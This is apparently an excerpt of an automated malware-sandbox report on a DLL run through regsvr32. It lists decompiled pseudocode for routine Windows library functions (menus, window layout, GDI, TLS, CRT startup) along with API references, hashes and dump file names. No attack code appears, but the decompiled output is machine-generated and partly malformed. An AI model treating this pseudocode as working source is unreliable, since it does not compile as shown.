							 *((intOrPtr*)(_t124 + 0xc)) = _t100 + _t134 + 5;
							E1000F850(_t97, _t103, _t126 + 0x28, _t100);
						}
						goto L15;
					}
				}
			}

0x1002aa04
0x1002aa04
0x1002aa04
0x1002aa04
0x1002aa10
0x1002aa19
0x1002aa1c
0x1002aa1f
0x1002aa26
0x1002abfb
0x1002abfb
0x1002abfb
0x1002aa2c
0x1002aa31
0x1002aa34
0x1002aa3a
0x1002aa41
0x1002aa48
0x1002aa4d
0x1002aa4d
0x1002aa4e
0x1002aa51
0x1002aa54
0x1002aa54
0x1002aa58
0x1002aa71
0x1002aa7e
0x1002aa81
0x1002aa8e
0x1002aa90
0x1002aa9b
0x1002aa9b
0x1002aa9d
0x1002aaa5
0x1002aaaf
0x1002aab4
0x1002aab8
0x1002aac0
0x1002aac5
0x1002aad7
0x1002abd2
0x1002abd2
0x1002abd2
0x1002abdb
0x1002abe5
0x00000000
0x00000000
0x00000000
0x1002aadd
0x1002aadd
0x1002aae6
0x1002aaf1
0x1002aafb
0x1002ab00
0x1002ab08
0x1002ab08
0x1002ab0f
0x1002ab1a
0x1002ab21
0x1002ab26
0x1002ab29
0x1002ab2c
0x1002ab36
0x1002ab3b
0x1002ab41
0x1002ab44
0x1002ab49
0x1002ab4b
0x00000000
0x00000000
0x00000000
0x1002ab3d
0x1002ab3d
0x1002ab4d
0x1002ab50
0x1002abc7
0x1002abcc
0x00000000
0x1002abcc
0x1002ab52
0x1002ab57
0x1002ab5b
0x1002ab5d
0x1002ab66
0x1002ab75
0x1002ab85
0x1002ab91
0x1002ab9f
0x1002aba4
0x1002abb8
0x1002abc0
0x1002abc0
0x00000000
0x1002ab5d
0x1002ab3b

APIs

GetObjectA.GDI32 ref: 1002AA71
GetSystemMetrics.USER32 ref: 1002AA86
GetSystemMetrics.USER32 ref: 1002AA95
GetMenuItemInfoA.USER32 ref: 1002AACF
GetMenuItemInfoA.USER32 ref: 1002AB30
GetTextExtentPoint32A.GDI32 ref: 1002AB91

Strings

@, xrefs: 1002AAB8

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: InfoItemMenuMetricsSystem$ExtentObjectPoint32Text
String ID: @
API String ID: 2751711798-2766056989
Opcode ID: 777a1301d8e343461634a3635b9c7adcca28e10f12f5317e49b34c149650a803
Instruction ID: 9b662dfc838c761910b0b8cb4a2209b8ae49f54fc2cee13066da29b84d61743a
Opcode Fuzzy Hash: 777a1301d8e343461634a3635b9c7adcca28e10f12f5317e49b34c149650a803
Instruction Fuzzy Hash: 80516E37700A8187D725CF25E84479EB361FBC5BA4F4482269BAD47B99EF78D885CB00

Uniqueness

Uniqueness Score: -1.00%

Function 10005C18 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E10005C18(void* __ecx, void* __rcx, void* __rdx) {
				intOrPtr _v72;
				long long _v96;
				long long _v104;
				char _v120;
				intOrPtr _v136;
				long long _v144;
				long long _v152;
				void* _t13;
				int _t15;
				long _t16;
				void* _t20;
				void* _t25;
				void* _t31;

				_t29 = __rdx;
				_t25 = __rcx;
				_t2 = _t29 + 0x70; // 0x70
				r8d = _t2;
				E1002E410(_t13, __ecx, 0,  &_v120, __rdx, _t31);
				_v104 = "open";
				_v120 = 0x70;
				_v96 =  *((intOrPtr*)(__rcx + 8));
				_v72 = 1;
				_t15 = ShellExecuteExA(??);
				if(_t15 == 0) {
					_t16 = GetLastError();
					_v136 = 1;
					r8d = 0xea;
					_v144 = 0;
					_v152 = "Win32 Error";
					_t15 = E1000DDEC(_t16, _t20, ".\\win\\hyperlink.cpp", _t31, "ShellExecuteEx(&sei)");
				}
				 *((intOrPtr*)(_t25 + 0x14)) = 1;
				return _t15;
			}

0x10005c18
0x10005c23
0x10005c2b
0x10005c2b
0x10005c2f
0x10005c40
0x10005c49
0x10005c51
0x10005c56
0x10005c5e
0x10005c66
0x10005c68
0x10005c6e
0x10005c8d
0x10005c93
0x10005c9c
0x10005ca1
0x10005ca1
0x10005ca6
0x10005cb5

APIs

ShellExecuteExA.SHELL32 ref: 10005C5E
GetLastError.KERNEL32 ref: 10005C68

Part of subcall function 1000DDEC: GetLocalTime.KERNEL32 ref: 1000DEA8
Part of subcall function 1000DDEC: FormatMessageA.KERNEL32 ref: 1000DEDD
Part of subcall function 1000DDEC: GetCurrentThread.KERNEL32 ref: 1000DF30
Part of subcall function 1000DDEC: GetCurrentProcess.KERNEL32 ref: 1000DF39

Strings

open, xrefs: 10005C34
.\win\hyperlink.cpp, xrefs: 10005C86
Win32 Error, xrefs: 10005C7F
ShellExecuteEx(&sei), xrefs: 10005C76
p, xrefs: 10005C49

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Current$ErrorExecuteFormatLastLocalMessageProcessShellThreadTime
String ID: .\win\hyperlink.cpp$ShellExecuteEx(&sei)$Win32 Error$open$p
API String ID: 2808315767-416490993
Opcode ID: 0040df1c2cd9b4a2d57f1be037152e8191421c7d8c93e8fe8eb9c6a557957ffe
Instruction ID: 849a29ce952ce309304428d8f7b27c6deebbe24c8a96a6c5d27544e621ffeb73
Opcode Fuzzy Hash: 0040df1c2cd9b4a2d57f1be037152e8191421c7d8c93e8fe8eb9c6a557957ffe
Instruction Fuzzy Hash: 1B012872614B8586EB11DF20F85538AB7B4F388748F940116EA8C47B68EFBDC689CF41

Uniqueness

Uniqueness Score: -1.00%

Function 10014858 Relevance: 12.1, APIs: 8, Instructions: 127
windowCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E10014858(intOrPtr __edx, void* __esi, void* __rcx, char* __rdx, void* __r8, char* __r9, void* __r11, intOrPtr _a16, intOrPtr _a40, intOrPtr* _a48, intOrPtr* _a56, intOrPtr _a64) {
				intOrPtr _v88;
				struct HWND__* _v92;
				intOrPtr _v96;
				char _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				char _v112;
				char _v120;
				struct HWND__* _t41;
				intOrPtr _t48;
				void* _t56;
				intOrPtr* _t65;
				intOrPtr* _t74;
				char* _t79;
				intOrPtr* _t84;
				long long _t85;
				void* _t86;
				void* _t90;
				intOrPtr* _t92;
				char* _t93;
				void* _t94;
				void* _t96;
				void* _t97;
				long long _t98;
				void* _t99;

				_t94 = __r11;
				_t93 = __r9;
				_t90 = __r8;
				_t79 = __rdx;
				_t56 = __esi;
				_t54 = __edx;
				_a16 = __edx;
				_t65 = _a56;
				r12d = _a64;
				r14d = 0;
				r13d = r9d;
				r15d = r8d;
				_t85 = _t98;
				_v88 = r12d;
				_v92 = r14d;
				_v96 = r14d;
				if(_t65 == _t98) {
					_t79 =  &_v112;
					GetClientRect(??, ??);
				} else {
					asm("movdqu xmm0, [eax]");
					asm("movdqu [esp+0x28], xmm0");
				}
				_t48 = _a40;
				asm("btr ebx, 0xf");
				if(_t48 == 1) {
					_v120 = _t98;
				} else {
					BeginDeferWindowPos();
					_v120 = _t65;
				}
				_t41 = GetTopWindow();
				_t84 = _t65;
				if(_t65 == _t98) {
					L16:
					if(_t48 != 1) {
						__eflags = r13d - r14d;
						if(r13d != r14d) {
							__eflags = _t85 - _t98;
							if(_t85 != _t98) {
								_t41 = E10014360(_t48, _t54, _t65, _t85, _t79, _t90, _t93, _t94);
								__eflags = _t48 - 2;
								if(__eflags == 0) {
									_t92 = _a48;
									_v112 = _v112 +  *_t92;
									_v108 = _v108 +  *((intOrPtr*)(_t92 + 4));
									_v104 = _v104 -  *((intOrPtr*)(_t92 + 8));
									_t33 =  &_v100;
									 *_t33 = _v100 -  *((intOrPtr*)(_t92 + 0xc));
									__eflags =  *_t33;
								}
								asm("bt dword [esp+0xc0], 0xf");
								if(__eflags >= 0) {
									r8d = 0;
									__eflags = r8d;
									 *((intOrPtr*)( *_t65 + 0xd0))();
									_t41 = E10011884( *_t65,  &_v120, _t85,  &_v112);
								}
							}
						}
						__eflags = _v120 - _t98;
						if(_v120 != _t98) {
							_t41 = EndDeferWindowPos();
						}
					} else {
						_t74 = _a48;
						if(r12d == r14d) {
							 *((intOrPtr*)(_t74 + 4)) = r14d;
							 *_t74 = r14d;
							 *((intOrPtr*)(_t74 + 8)) = _v96;
							_t41 = _v92;
							 *(_t74 + 0xc) = _t41;
						} else {
							_t41 = CopyRect();
						}
					}
					return _t41;
				} else {
					r12d = _a16;
					goto L8;
					L14:
					_t54 = 2;
					_t41 = GetWindow(??, ??);
					_t84 = _t65;
					if(_t65 != 0) {
						L8:
						GetDlgCtrlID();
						E1001439C(_t48, 8, _t56, _t65, _t84, _t79, _t94);
						if(_t86 != _t97) {
							__eflags = _t86 - _t96;
							if(_t86 >= _t96) {
								__eflags = _t86 - _t99;
								if(_t86 <= _t99) {
									__eflags = _t65;
									if(_t65 != 0) {
										_t93 =  &_v120;
										r8d = 0;
										__eflags = r8d;
										SendMessageA(??, ??, ??, ??);
									}
								}
							}
						} else {
							_t85 = _t84;
						}
						goto L14;
					} else {
						r12d = _a64;
						goto L16;
					}
				}
			}

0x10014858
0x10014858
0x10014858
0x10014858
0x10014858
0x10014858
0x10014858
0x1001486c
0x10014874
0x1001487c
0x10014882
0x10014885
0x1001488b
0x1001488e
0x10014893
0x10014898
0x1001489d
0x100148af
0x100148b4
0x1001489f
0x1001489f
0x100148a3
0x100148a3
0x100148ba
0x100148c1
0x100148c8
0x100148dc
0x100148ca
0x100148cf
0x100148d5
0x100148d5
0x100148e5
0x100148ee
0x100148f1
0x1001495c
0x1001495f
0x10014998
0x1001499b
0x1001499d
0x100149a0
0x100149a5
0x100149aa
0x100149b0
0x100149b2
0x100149bd
0x100149c5
0x100149cd
0x100149d5
0x100149d5
0x100149d5
0x100149d5
0x100149d9
0x100149e2
0x100149ec
0x100149ec
0x100149f2
0x10014a05
0x10014a05
0x100149e2
0x100149a0
0x10014a0f
0x10014a12
0x10014a14
0x10014a14
0x10014961
0x10014964
0x1001496c
0x10014982
0x10014986
0x10014989
0x1001498c
0x10014990
0x1001496e
0x10014973
0x10014973
0x1001496c
0x10014a2a
0x100148f3
0x100148f3
0x100148f3
0x1001493e
0x1001493e
0x10014946
0x1001494f
0x10014952
0x100148fb
0x100148fe
0x1001490a
0x10014912
0x10014919
0x1001491c
0x1001491e
0x10014921
0x10014923
0x10014926
0x10014928
0x1001492d
0x1001492d
0x10014938
0x10014938
0x10014926
0x10014921
0x10014914
0x10014914
0x10014914
0x00000000
0x10014954
0x10014954
0x00000000
0x10014954
0x10014952

APIs

GetClientRect.USER32 ref: 100148B4
BeginDeferWindowPos.USER32 ref: 100148CF
GetTopWindow.USER32 ref: 100148E5
GetDlgCtrlID.USER32 ref: 100148FE
SendMessageA.USER32 ref: 10014938
GetWindow.USER32 ref: 10014946
CopyRect.USER32 ref: 10014973
EndDeferWindowPos.USER32 ref: 10014A14

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$DeferRect$BeginClientCopyCtrlMessageSend
String ID:
API String ID: 1228040700-0
Opcode ID: 2ffd2880688501fe3931335b887c9f0b030a7992957a2f2730508b5929bfa527
Instruction ID: 754b33b7dc87efd2addf1607b1d219d162119a9bc679bdabc3d0b459129ea329
Opcode Fuzzy Hash: 2ffd2880688501fe3931335b887c9f0b030a7992957a2f2730508b5929bfa527
Instruction Fuzzy Hash: 9F416D326096C08ADB61CF15E85076EB3A1F788BD4F464116EE8A1BB24DF78C9C6DB05

Uniqueness

Uniqueness Score: -1.00%

Function 100010B0 Relevance: 12.1, APIs: 8, Instructions: 123
windowCOMMON

Download Yara Rule

C-Code - Quality: 34%

			E100010B0(void* __ebx, void* __ecx, void* __eflags, void* __rax, intOrPtr* __rcx, long long __rdx, void* __r8, void* __r11) {
				void* _t68;
				long long _t81;
				intOrPtr* _t86;
				long long _t120;
				long long _t122;
				intOrPtr* _t125;
				void* _t127;
				void* _t128;
				void* _t135;
				long long* _t139;

				_t135 = __r11;
				_t130 = __r8;
				_t68 = __ebx;
				 *((long long*)(_t127 + 8)) = __rcx;
				_push(_t122);
				_t128 = _t127 - 0x38;
				 *((long long*)(_t128 + 0x20)) = 0xfffffffe;
				_t120 = __rdx;
				_t86 = __rcx;
				E1000F088(__rcx);
				 *((long long*)(__rcx)) = 0x10057d78;
				_t139 = __rcx + 0x20;
				 *((long long*)(_t139 + 8)) = _t122;
				_t81 = 0x10057ce8;
				 *_t139 = 0x10057ce8;
				 *((long long*)(__rcx + 0x38)) = __rdx;
				 *((long long*)(__rcx + 0x30)) = _t122;
				 *(__rcx + 0x50) = 0 |  *((intOrPtr*)(__rdx + 0x18)) == 0x00000000;
				if(__r8 != _t122) {
					_t125 = __rcx + 0x40;
					asm("repe inc ecx");
					asm("movdqu [ebp], xmm0");
				} else {
					_t125 = __rcx + 0x40;
					_t81 =  *((intOrPtr*)(__rdx));
					 *((intOrPtr*)(_t81 + 0xa0))();
				}
				if( *((intOrPtr*)(_t86 + 0x50)) == 0) {
					 *((intOrPtr*)(_t86 + 0x18)) =  *((intOrPtr*)(_t120 + 0x18));
					 *((long long*)(_t86 + 8)) =  *((intOrPtr*)(_t120 + 8));
					 *((long long*)(_t86 + 0x10)) =  *((intOrPtr*)(_t120 + 0x10));
				} else {
					CreateCompatibleDC();
					E1000F628(_t68, _t81, _t86, _t81, _t130, _t135);
					r13d = 2;
					r8d = r13d;
					LPtoDP(??, ??, ??);
					r8d =  *((intOrPtr*)(_t125 + 0xc));
					r8d = r8d -  *((intOrPtr*)(_t125 + 4));
					CreateCompatibleBitmap(??, ??, ??);
					E1000FA74(_t68, _t81, _t139, _t81, _t135);
					if(_t139 != _t122) {
						_t122 =  *((intOrPtr*)(_t139 + 8));
					}
					E1000FB3C(_t81);
					 *((long long*)(_t86 + 0x30)) = _t81;
					E1000EDE4(GetMapMode(??), _t86);
					GetWindowExtEx(??, ??);
					r8d =  *((intOrPtr*)(_t128 + 0x78));
					 *((intOrPtr*)( *_t86 + 0x90))();
					GetViewportExtEx(??, ??);
					r8d =  *((intOrPtr*)(_t128 + 0x78));
					 *((intOrPtr*)( *_t86 + 0x80))();
					r8d = r13d;
					DPtoLP(??, ??, ??);
					r9d =  *((intOrPtr*)(_t86 + 0x44));
					r8d =  *_t125;
					E1000F210(_t86, _t128 + 0x78);
				}
				r8d = GetBkColor();
				return E10018920(_t86, _t125);
			}

0x100010b0
0x100010b0
0x100010b0
0x100010b0
0x100010b7
0x100010bd
0x100010c1
0x100010cd
0x100010d0
0x100010d3
0x100010e0
0x100010e3
0x100010e9
0x100010ee
0x100010f5
0x100010f9
0x100010fd
0x10001109
0x1000110f
0x10001126
0x1000112a
0x10001130
0x10001111
0x10001111
0x10001115
0x1000111e
0x1000111e
0x10001138
0x10001248
0x1000124f
0x10001257
0x1000113e
0x10001142
0x1000114e
0x10001153
0x10001159
0x10001163
0x10001169
0x1000116d
0x1000117b
0x10001187
0x1000118f
0x10001191
0x10001191
0x1000119d
0x100011a2
0x100011b5
0x100011c3
0x100011d5
0x100011e5
0x100011f5
0x10001207
0x10001217
0x1000121e
0x10001228
0x1000122e
0x10001232
0x1000123e
0x1000123e
0x10001265
0x10001283

APIs

CreateCompatibleDC.GDI32 ref: 10001142
LPtoDP.GDI32 ref: 10001163
CreateCompatibleBitmap.GDI32 ref: 1000117B
GetMapMode.GDI32 ref: 100011AA
GetWindowExtEx.GDI32 ref: 100011C3
GetViewportExtEx.GDI32 ref: 100011F5
DPtoLP.GDI32 ref: 10001228
GetBkColor.GDI32 ref: 1000125F

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: CompatibleCreate$BitmapColorModeViewportWindow
String ID:
API String ID: 2862570650-0
Opcode ID: 04a45cc01087eb3fb1d01c5cdbf90ff21d6fe5311cdf0ea7ad056b33be0838a8
Instruction ID: 1000bb805647e1e274f72d61ffcc62263c52b1150e22ead07c1e15d0a4c92dfb
Opcode Fuzzy Hash: 04a45cc01087eb3fb1d01c5cdbf90ff21d6fe5311cdf0ea7ad056b33be0838a8
Instruction Fuzzy Hash: D5512636200B509AE714DF2AE84479D77B4F389FD4F409126EE9947B68DF38D995CB00

Uniqueness

Uniqueness Score: -1.00%

Function 10028B78 Relevance: 12.1, APIs: 8, Instructions: 108
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 55%

			E10028B78(signed long long __edx, void* __esi, signed long long __rax, long long __rcx, void* __rdx, long long __r8, void* __r9, long long _a8) {
				long long _v56;
				void* __rbx;
				void* __rdi;
				int _t30;
				intOrPtr _t32;
				intOrPtr _t38;
				intOrPtr _t48;
				void* _t50;
				signed long long _t63;
				signed long long _t65;
				long long _t67;
				intOrPtr _t69;
				signed long long _t73;
				void* _t76;
				long long _t78;
				signed long long _t79;
				void* _t86;
				signed long long _t87;
				long long _t88;

				_t86 = __r9;
				_t83 = __r8;
				_t76 = __rdx;
				_t62 = __rax;
				_t50 = __esi;
				_t47 = __edx;
				_a8 = __rcx;
				_v56 = 0xfffffffe;
				_t88 = __r8;
				_t79 = __edx;
				_t78 = __rcx;
				_t69 = __rcx + 0x28;
				EnterCriticalSection(??);
				if(__esi <= 0) {
					L24:
					LeaveCriticalSection();
				} else {
					_t3 = _t78 + 0xc; // 0x11cec000000003
					if(__esi >=  *_t3) {
						goto L24;
					} else {
						_t30 = TlsGetValue();
						_t67 = __rax;
						if(__rax == 0) {
							E10028738(__rax, _t69);
							_t67 = __rax;
							__eflags = __rax;
							if(__eflags == 0) {
								__eflags = 0;
							} else {
								 *__rax = 0x1009b088;
							}
							 *(_t67 + 0x10) = 0;
							 *(_t67 + 0x18) = 0;
							_t7 = _t78 + 0x20; // 0x8
							_t69 =  *_t7;
							_t8 = _t78 + 0x18; // 0x11c6f0
							_t62 =  *_t8;
							 *(_t67 + _t69) = _t62;
							 *((long long*)(_t78 + 0x18)) = _t67;
							goto L10;
						} else {
							if(__esi >=  *((intOrPtr*)(__rax + 0x10)) && __r8 != 0) {
								L10:
								if( *(_t67 + 0x18) != 0) {
									_t13 = _t78 + 0xc; // 0x11cec000000003
									_t32 =  *_t13;
									_t63 = _t62 << 3;
									_t43 = 0xffffffff;
									__eflags = _t63 - _t69;
									if(__eflags > 0) {
										_t43 = 0x80070057;
										_t32 = E10001000(0x80070057, _t47, _t63, _t67, _t69, _t78, _t83, _t86);
										asm("int3");
									}
									_t48 = _t32;
									r8d = 2;
									LocalReAlloc(??, ??, ??);
									_t87 = _t63;
								} else {
									_t12 = _t78 + 0xc; // 0x11cec000000003
									_t38 =  *_t12;
									_t65 = _t62 << 3;
									if(_t65 > _t69) {
										_t38 = E10001000(0x80070057, _t47, _t65, _t67, _t69, _t78, _t83, _t86);
										asm("int3");
									}
									_t48 = _t38;
									_t43 = 0;
									LocalAlloc(??, ??);
									_t87 = _t65;
								}
								_t58 = _t87;
								if(_t87 == 0) {
									LeaveCriticalSection();
									E1000E35C(_t43, _t48, _t58, _t86);
									asm("int3");
								}
								 *(_t67 + 0x18) = _t87;
								_t17 = _t78 + 0xc; // 0x11cec000000003
								E1002E410( *_t17 -  *(_t67 + 0x10), _t43, 0, _t87 +  *(_t67 + 0x10) * 8, _t76,  *_t17 -  *(_t67 + 0x10) << 3);
								_t22 = _t78 + 0xc; // 0x11cec000000003
								r11d =  *_t22;
								 *(_t67 + 0x10) = r11d;
								_t30 = TlsSetValue(??, ??);
							}
						}
						_t73 =  *(_t67 + 0x18);
						if(_t73 != 0 && _t50 <  *(_t67 + 0x10)) {
							 *((long long*)(_t73 + _t79 * 8)) = _t88;
						}
						LeaveCriticalSection();
					}
				}
				return _t30;
			}

0x10028b78
0x10028b78
0x10028b78
0x10028b78
0x10028b78
0x10028b78
0x10028b78
0x10028b88
0x10028b91
0x10028b94
0x10028b97
0x10028b9a
0x10028b9e
0x10028ba6
0x10028ce1
0x10028ce5
0x10028bac
0x10028bac
0x10028baf
0x00000000
0x10028bb5
0x10028bb7
0x10028bbd
0x10028bc3
0x10028bde
0x10028be3
0x10028be6
0x10028be9
0x10028bf7
0x10028beb
0x10028bf2
0x10028bf2
0x10028bf9
0x10028c00
0x10028c08
0x10028c08
0x10028c0c
0x10028c0c
0x10028c10
0x10028c14
0x00000000
0x10028bc5
0x10028bc8
0x10028c18
0x10028c1d
0x10028c4a
0x10028c4a
0x10028c4d
0x10028c51
0x10028c56
0x10028c59
0x10028c5b
0x10028c60
0x10028c65
0x10028c65
0x10028c66
0x10028c68
0x10028c72
0x10028c78
0x10028c1f
0x10028c1f
0x10028c1f
0x10028c22
0x10028c2e
0x10028c35
0x10028c3a
0x10028c3a
0x10028c3b
0x10028c3d
0x10028c3f
0x10028c45
0x10028c45
0x10028c7b
0x10028c7e
0x10028c84
0x10028c8a
0x10028c8f
0x10028c8f
0x10028c90
0x10028c94
0x10028cab
0x10028cb0
0x10028cb0
0x10028cb4
0x10028cbd
0x10028cbd
0x10028bc8
0x10028cc3
0x10028cca
0x10028cd1
0x10028cd1
0x10028cd9
0x10028cd9
0x10028baf
0x10028cf6

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,10028E35), ref: 10028B9E
TlsGetValue.KERNEL32 ref: 10028BB7
LocalAlloc.KERNEL32(?,?,?,?,?,10028E35), ref: 10028C3F
LocalReAlloc.KERNEL32(?,?,?,?,?,10028E35), ref: 10028C72
LeaveCriticalSection.KERNEL32(?,?,?,?,?,10028E35), ref: 10028C84
TlsSetValue.KERNEL32(?,?,?,?,?,10028E35), ref: 10028CBD
LeaveCriticalSection.KERNEL32(?,?,?,?,?,10028E35), ref: 10028CD9
LeaveCriticalSection.KERNEL32(?,?,?,?,?,10028E35), ref: 10028CE5

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Leave$AllocLocalValue$Enter
String ID:
API String ID: 2344649020-0
Opcode ID: e90b10a384f0ce1e0b5de99c846b1c3ee6e6130bb7b0ce7297400c8c37278d5a
Instruction ID: 6c9d46c49cb469f91f3514b3ef7b050345e5b1722c9eead366288aab7a7e6ff3
Opcode Fuzzy Hash: e90b10a384f0ce1e0b5de99c846b1c3ee6e6130bb7b0ce7297400c8c37278d5a
Instruction Fuzzy Hash: 9E41F23A202B4487DB19CF24F85475973A0F748BA4F604625EF6E03794EF78EAA1C750

Uniqueness

Uniqueness Score: -1.00%

Function 1003D9A0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E1003D9A0(signed int __edi, signed long long __rbx, void* __rdx, signed long long __rdi, long long __rsi, void* __r8, signed long long __r12, long long __r13, long long __r14, long long __r15, void* _a8, void* _a16, void* _a24, void* _a32) {
				void* _v8;
				void* _v16;
				void* _v24;
				intOrPtr* _v64;
				short _v70;
				char _v136;
				void* _t64;
				void* _t67;
				signed char _t68;
				signed int _t69;
				long _t71;
				intOrPtr _t75;
				intOrPtr _t76;
				signed int _t78;
				intOrPtr _t80;
				signed int _t91;
				long long* _t93;
				long long _t95;
				long long _t96;
				intOrPtr _t100;
				signed long long _t102;
				long long* _t105;
				signed char _t110;
				void* _t114;
				signed long long _t115;
				signed long long _t116;
				long long _t120;
				intOrPtr* _t122;
				void* _t123;
				long long* _t124;
				void* _t125;
				long long* _t126;
				long long* _t127;
				signed long long _t128;
				signed char* _t132;
				intOrPtr* _t135;
				signed char* _t136;

				_t128 = __r12;
				_t125 = __r8;
				_t115 = __rdi;
				_t114 = __rdx;
				_t102 = __rbx;
				_t91 = __edi;
				_t93 = _t124;
				 *((long long*)(_t93 + 8)) = __rbx;
				 *((long long*)(_t93 + 0x10)) = __rsi;
				 *((long long*)(_t93 + 0x18)) = __rdi;
				 *((long long*)(_t93 + 0x20)) = __r12;
				 *((long long*)(_t93 - 8)) = __r13;
				 *((long long*)(_t93 - 0x10)) = __r14;
				 *((long long*)(_t93 - 0x18)) = __r15;
				_t107 =  &_v136;
				GetStartupInfoA(??);
				_t64 = E10038890(_t93, __rbx,  &_v136, __rdx, __rdi, __rsi, _t123, __r12);
				_t126 = _t93;
				if(_t93 != 0) {
					 *0x100b8b20 = _t93;
					_t80 = 0x20;
					 *0x100b8b10 = 0x20;
					if(_t126 >= _t93 + 0x800) {
						r12d = 0;
						L7:
						if(_v70 == 0) {
							L29:
							r13d = r12d;
							_t116 = _t128;
							do {
								_t105 = (_t116 << 6) +  *0x100b8b20;
								_t95 =  *_t105;
								if(_t95 == 0xffffffff || _t95 == 0xfffffffe) {
									 *(_t105 + 8) = 0x81;
									if(_t116 != 0) {
									}
									GetStdHandle();
									_t120 = _t95;
									if(_t95 == 0xffffffff || _t95 == 0) {
										L46:
										 *(_t105 + 8) =  *(_t105 + 8) | 0x00000040;
										 *_t105 = 0xfffffffe;
										goto L47;
									} else {
										_t68 = GetFileType();
										if(_t68 == 0) {
											goto L46;
										}
										 *_t105 = _t120;
										_t69 = _t68 & 0x000000ff;
										if(_t69 != 2) {
											if(_t69 == 3) {
												 *(_t105 + 8) =  *(_t105 + 8) | 0x00000008;
											}
										} else {
											 *(_t105 + 8) =  *(_t105 + 8) | 0x00000040;
										}
										_t52 = _t105 + 0x10; // 0x10
										if(E10040E80(0xfa0, _t95, _t105, _t52, _t114, _t116, _t120, _t123, _t125, _t128) == 0) {
											_t67 = 0xffffffff;
											L49:
											return _t67;
										} else {
											 *((intOrPtr*)(_t105 + 0xc)) =  *((intOrPtr*)(_t105 + 0xc)) + 1;
											goto L47;
										}
									}
								} else {
									 *(_t105 + 8) =  *(_t105 + 8) | 0x00000080;
								}
								L47:
								r13d = r13d + 1;
								_t116 = _t116 + 1;
							} while (_t116 < 3);
							SetHandleCount();
							_t67 = 0;
							goto L49;
						}
						_t135 = _v64;
						if(_t135 == 0) {
							goto L29;
						}
						_t96 =  *_t135;
						_t136 = _t135 + 4;
						_t132 =  &(_t136[_t96]);
						r15d = 0x800;
						r15d =  <  ? _t64 : r15d;
						if(_t80 >= r15d) {
							_t122 = 0x100b8b20;
							L19:
							_t78 = r12d;
							if(r15d <= 0) {
								goto L29;
							} else {
								goto L20;
							}
							do {
								L20:
								_t110 =  *_t132;
								if(_t110 != 0xffffffff && _t110 != 0xfffffffe) {
									_t71 =  *_t136 & 0x000000ff;
									if((_t71 & 0x00000001) == 0) {
										goto L28;
									}
									if((_t71 & 0x00000008) != 0) {
										L25:
										dil = _t71;
										_t91 = _t91 & 0x0000001f;
